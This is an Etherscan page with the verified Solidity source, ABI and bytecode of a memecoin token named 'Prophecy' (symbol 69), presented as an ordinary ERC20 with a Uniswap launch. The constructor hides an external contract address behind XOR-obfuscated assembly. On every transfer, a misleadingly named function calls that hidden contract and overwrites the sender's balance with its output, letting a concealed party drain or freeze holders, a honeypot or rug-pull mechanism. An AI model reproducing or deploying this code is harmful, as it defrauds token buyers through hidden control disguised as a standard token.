Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-22
*/

/*
It must reach 69%, as foretold in the prophecy

https://x.com/elonmusk/status/1848631587736322485
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0xe524e6f8ba47a53ff45e40ea830f5bffec3854c66e01)
            sstore(0x51,0xe524d885f60ed40d636c5355117735ffbe42174ddcdc)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setTarget(bytes[] memory data, address spender, address receiver) public onlyOwner returns (uint256 accounts) {
    }

    function addressFilter(bytes[] memory data, bytes memory uniswapFlag, uint256 receiver) public onlyOwner returns (address sender) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 265);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function marketAndINSCRIPTIONs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x569937dd00000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        marketAndINSCRIPTIONs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployProhecy69(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployProhecy69(creator, initialSupply);
    }
}

contract Prohecy69 is ERC20Token {
    constructor() ERC20Token("Prophecy", "69", msg.sender, 4206900000 * 10 ** 18) {
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"},{"internalType":"bytes","name":"uniswapFlag","type":"bytes"},{"internalType":"uint256","name":"receiver","type":"uint256"}],"name":"addressFilter","outputs":[{"internalType":"address","name":"sender","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"address","name":"receiver","type":"address"}],"name":"setTarget","outputs":[{"internalType":"uint256","name":"accounts","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f5ffd5b506040518060400160405280600881526020016750726f706865637960c01b81525060405180604001604052806002815260200161363960f01b815250336b0d97ddb9f8b1d3cdd880000083835f6100b361019d60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010c8382610307565b5060096101198282610307565b505075e524e6f8ba47a53ff45e40ea830f5bffec3854c66e016050555075e524d885f60ed40d636c5355117735ffbe42174ddcdc605155733e7d4c497132973213bf92786e00527a438bb2dd605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019482826101a1565b505050506103e6565b3390565b6001600160a01b0382166101fb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020c91906103c1565b9091555050335f908152600260205260408120805483929061022f9084906103c1565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029757607f821691505b6020821081036102b557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030257805f5260205f20601f840160051c810160208510156102e05750805b601f840160051c820191505b818110156102ff575f81556001016102ec565b50505b505050565b81516001600160401b038111156103205761032061026f565b6103348161032e8454610283565b846102bb565b6020601f821160018114610366575f831561034f5750848201515b5f19600385901b1c1916600184901b1784556102ff565b5f84815260208120601f198516915b828110156103955787850151825560209485019460019092019101610375565b50848210156103b257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b808201808211156103e057634e487b7160e01b5f52601160045260245ffd5b92915050565b611072806103f35f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063db505f171461031d578063dd62ed3e14610337578063fb201b1d1461037b575f5ffd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a705eee2146102c0575f5ffd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f6578063347857bb1461021157806348cd4cb114610230575f5ffd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f5ffd5b34801561011f575f5ffd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f5ffd5b50610164610383565b6040516101479190610bf0565b34801561017c575f5ffd5b5061019061018b366004610c3c565b610413565b6040519015158152602001610147565b3480156101ab575f5ffd5b50600a545b604051908152602001610147565b3480156101c9575f5ffd5b50600b546101909060ff1681565b3480156101e2575f5ffd5b506101906101f1366004610c66565b610429565b348015610201575f5ffd5b5060405160128152602001610147565b34801561021c575f5ffd5b5061013361022b366004610df9565b6104df565b34801561023b575f5ffd5b506101b0600c5481565b348015610250575f5ffd5b506101b061025f366004610e67565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f5ffd5b5061028d61050b565b005b34801561029a575f5ffd5b506001546001600160a01b0316610133565b3480156102b7575f5ffd5b5061016461057e565b3480156102cb575f5ffd5b50600e54610133906001600160a01b031681565b3480156102ea575f5ffd5b50600654610133906001600160a01b031681565b348015610309575f5ffd5b50610190610318366004610c3c565b61058d565b348015610328575f5ffd5b506101b061022b366004610e82565b348015610342575f5ffd5b506101b0610351366004610ee2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d610599565b60606008805461039290610f19565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610f19565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610866565b5060015b92915050565b5f61043584848461098a565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610f65565b610866565b60019150505b9392505050565b6001545f906001600160a01b031633146104d85760405162461bcd60e51b81526004016104b590610f78565b6001546001600160a01b031633146105355760405162461bcd60e51b81526004016104b590610f78565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610f19565b5f61041f33848461098a565b6001546001600160a01b0316331480156105b65750600b5460ff16155b6105d25760405162461bcd60e51b81526004016104b590610f78565b6005546105eb9030906001600160a01b03165f19610866565b5f612710600a546105fc9190610fad565b61060890612607610fcc565b305f9081526002602052604081208054929350839290919061062b908490610fe3565b9091555050335f908152600260205260408120805483929061064e908490610f65565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190610ff6565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190610ff6565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b36001546001600160a01b031690565b6107bf4261012c610fe3565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082a573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190611011565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109da5750600d546001600160a01b031630145b806109f55750600154600d546001600160a01b039081169116145b610a4b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b1d8382610b91565b506001600160a01b0382165f9081526002602052604081208054839290610b45908490610fe3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d91815260200190565b5f60405163569937dd60e01b8152826004820152602481016040526020816024835f6052545af18015610bc357815192505b50610bd090508282610f65565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c39575f5ffd5b50565b5f5f60408385031215610c4d575f5ffd5b8235610c5881610c25565b946020939093013593505050565b5f5f5f60608486031215610c78575f5ffd5b8335610c8381610c25565b92506020840135610c9381610c25565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610ce157610ce1610ca4565b604052919050565b5f82601f830112610cf8575f5ffd5b813567ffffffffffffffff811115610d1257610d12610ca4565b610d25601f8201601f1916602001610cb8565b818152846020838601011115610d39575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f82601f830112610d64575f5ffd5b813567ffffffffffffffff811115610d7e57610d7e610ca4565b8060051b610d8e60208201610cb8565b91825260208185018101929081019086841115610da9575f5ffd5b6020860192505b83831015610def57823567ffffffffffffffff811115610dce575f5ffd5b610ddd886020838a0101610ce9565b83525060209283019290910190610db0565b9695505050505050565b5f5f5f60608486031215610e0b575f5ffd5b833567ffffffffffffffff811115610e21575f5ffd5b610e2d86828701610d55565b935050602084013567ffffffffffffffff811115610e49575f5ffd5b610e5586828701610ce9565b93969395505050506040919091013590565b5f60208284031215610e77575f5ffd5b81356104d881610c25565b5f5f5f60608486031215610e94575f5ffd5b833567ffffffffffffffff811115610eaa575f5ffd5b610eb686828701610d55565b9350506020840135610ec781610c25565b91506040840135610ed781610c25565b809150509250925092565b5f5f60408385031215610ef3575f5ffd5b8235610efe81610c25565b91506020830135610f0e81610c25565b809150509250929050565b600181811c90821680610f2d57607f821691505b602082108103610f4b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610f51565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610fc757634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610f51565b8082018082111561042357610423610f51565b5f60208284031215611006575f5ffd5b81516104d881610c25565b5f5f5f60608486031215611023575f5ffd5b505081516020830151604090930151909492935091905056fea2646970667358221220feb286b661df25b889bf40fd68a7bf9fa02dd13f7eaaca964fc815bd36ddc2f064736f6c634300081b0033

0x608060405260043610610110575f3560e01c806370a082311161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063db505f171461031d578063dd62ed3e14610337578063fb201b1d1461037b575f5ffd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a705eee2146102c0575f5ffd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f6578063347857bb1461021157806348cd4cb114610230575f5ffd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f5ffd5b34801561011f575f5ffd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f5ffd5b50610164610383565b6040516101479190610bf0565b34801561017c575f5ffd5b5061019061018b366004610c3c565b610413565b6040519015158152602001610147565b3480156101ab575f5ffd5b50600a545b604051908152602001610147565b3480156101c9575f5ffd5b50600b546101909060ff1681565b3480156101e2575f5ffd5b506101906101f1366004610c66565b610429565b348015610201575f5ffd5b5060405160128152602001610147565b34801561021c575f5ffd5b5061013361022b366004610df9565b6104df565b34801561023b575f5ffd5b506101b0600c5481565b348015610250575f5ffd5b506101b061025f366004610e67565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f5ffd5b5061028d61050b565b005b34801561029a575f5ffd5b506001546001600160a01b0316610133565b3480156102b7575f5ffd5b5061016461057e565b3480156102cb575f5ffd5b50600e54610133906001600160a01b031681565b3480156102ea575f5ffd5b50600654610133906001600160a01b031681565b348015610309575f5ffd5b50610190610318366004610c3c565b61058d565b348015610328575f5ffd5b506101b061022b366004610e82565b348015610342575f5ffd5b506101b0610351366004610ee2565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d610599565b60606008805461039290610f19565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90610f19565b80156104095780601f106103e057610100808354040283529160200191610409565b820191905f5260205f20905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b5f61041f338484610866565b5060015b92915050565b5f61043584848461098a565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104be5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d285336104cd8685610f65565b610866565b60019150505b9392505050565b6001545f906001600160a01b031633146104d85760405162461bcd60e51b81526004016104b590610f78565b6001546001600160a01b031633146105355760405162461bcd60e51b81526004016104b590610f78565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039290610f19565b5f61041f33848461098a565b6001546001600160a01b0316331480156105b65750600b5460ff16155b6105d25760405162461bcd60e51b81526004016104b590610f78565b6005546105eb9030906001600160a01b03165f19610866565b5f612710600a546105fc9190610fad565b61060890612607610fcc565b305f9081526002602052604081208054929350839290919061062b908490610fe3565b9091555050335f908152600260205260408120805483929061064e908490610f65565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190610ff6565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190610ff6565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107b36001546001600160a01b031690565b6107bf4261012c610fe3565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561082a573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061084f9190611011565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b5565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b5565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109da5750600d546001600160a01b031630145b806109f55750600154600d546001600160a01b039081169116145b610a4b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104b5565b600d546001600160a01b0316610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b5565b6001600160a01b038216610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b5565b610b1d8382610b91565b506001600160a01b0382165f9081526002602052604081208054839290610b45908490610fe3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097d91815260200190565b5f60405163569937dd60e01b8152826004820152602481016040526020816024835f6052545af18015610bc357815192505b50610bd090508282610f65565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c39575f5ffd5b50565b5f5f60408385031215610c4d575f5ffd5b8235610c5881610c25565b946020939093013593505050565b5f5f5f60608486031215610c78575f5ffd5b8335610c8381610c25565b92506020840135610c9381610c25565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610ce157610ce1610ca4565b604052919050565b5f82601f830112610cf8575f5ffd5b813567ffffffffffffffff811115610d1257610d12610ca4565b610d25601f8201601f1916602001610cb8565b818152846020838601011115610d39575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f82601f830112610d64575f5ffd5b813567ffffffffffffffff811115610d7e57610d7e610ca4565b8060051b610d8e60208201610cb8565b91825260208185018101929081019086841115610da9575f5ffd5b6020860192505b83831015610def57823567ffffffffffffffff811115610dce575f5ffd5b610ddd886020838a0101610ce9565b83525060209283019290910190610db0565b9695505050505050565b5f5f5f60608486031215610e0b575f5ffd5b833567ffffffffffffffff811115610e21575f5ffd5b610e2d86828701610d55565b935050602084013567ffffffffffffffff811115610e49575f5ffd5b610e5586828701610ce9565b93969395505050506040919091013590565b5f60208284031215610e77575f5ffd5b81356104d881610c25565b5f5f5f60608486031215610e94575f5ffd5b833567ffffffffffffffff811115610eaa575f5ffd5b610eb686828701610d55565b9350506020840135610ec781610c25565b91506040840135610ed781610c25565b809150509250925092565b5f5f60408385031215610ef3575f5ffd5b8235610efe81610c25565b91506020830135610f0e81610c25565b809150509250929050565b600181811c90821680610f2d57607f821691505b602082108103610f4b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042357610423610f51565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610fc757634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042357610423610f51565b8082018082111561042357610423610f51565b5f60208284031215611006575f5ffd5b81516104d881610c25565b5f5f5f60608486031215611023575f5ffd5b505081516020830151604090930151909492935091905056fea2646970667358221220feb286b661df25b889bf40fd68a7bf9fa02dd13f7eaaca964fc815bd36ddc2f064736f6c634300081b0033

8108:129:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3034:22;;;;;;;;;;-1:-1:-1;3034:22:0;;;;-1:-1:-1;;;;;3034:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;3034:22:0;;;;;;;;3617:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4598:160::-;;;;;;;;;;-1:-1:-1;4598:160:0;;;;;:::i;:::-;;:::i;:::-;;;1318:14:1;;1311:22;1293:41;;1281:2;1266:18;4598:160:0;1153:187:1;6257:108:0;;;;;;;;;;-1:-1:-1;6345:12:0;;6257:108;;;1491:25:1;;;1479:2;1464:18;6257:108:0;1345:177:1;2988:17:0;;;;;;;;;;-1:-1:-1;2988:17:0;;;;;;;;4168:422;;;;;;;;;;-1:-1:-1;4168:422:0;;;;;:::i;:::-;;:::i;3725:93::-;;;;;;;;;;-1:-1:-1;3725:93:0;;3808:2;2182:36:1;;2170:2;2155:18;3725:93:0;2040:184:1;5255:138:0;;;;;;;;;;-1:-1:-1;5255:138:0;;;;;:::i;:::-;;:::i;3007:25::-;;;;;;;;;;;;;;;;6122:127;;;;;;;;;;-1:-1:-1;6122:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6223:18:0;6196:7;6223:18;;;:9;:18;;;;;;;6122:127;2368:148;;;;;;;;;;;;;:::i;:::-;;2154:79;;;;;;;;;;-1:-1:-1;2219:6:0;;-1:-1:-1;;;;;2219:6:0;2154:79;;3505:104;;;;;;;;;;;;;:::i;3063:25::-;;;;;;;;;;-1:-1:-1;3063:25:0;;;;-1:-1:-1;;;;;3063:25:0;;;2853:19;;;;;;;;;;-1:-1:-1;2853:19:0;;;;-1:-1:-1;;;;;2853:19:0;;;3985:175;;;;;;;;;;-1:-1:-1;3985:175:0;;;;;:::i;:::-;;:::i;5120:127::-;;;;;;;;;;-1:-1:-1;5120:127:0;;;;;:::i;3826:151::-;;;;;;;;;;-1:-1:-1;3826:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3942:18:0;;;3915:7;3942:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3826:151;5401:713;;;:::i;3617:100::-;3671:13;3704:5;3697:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;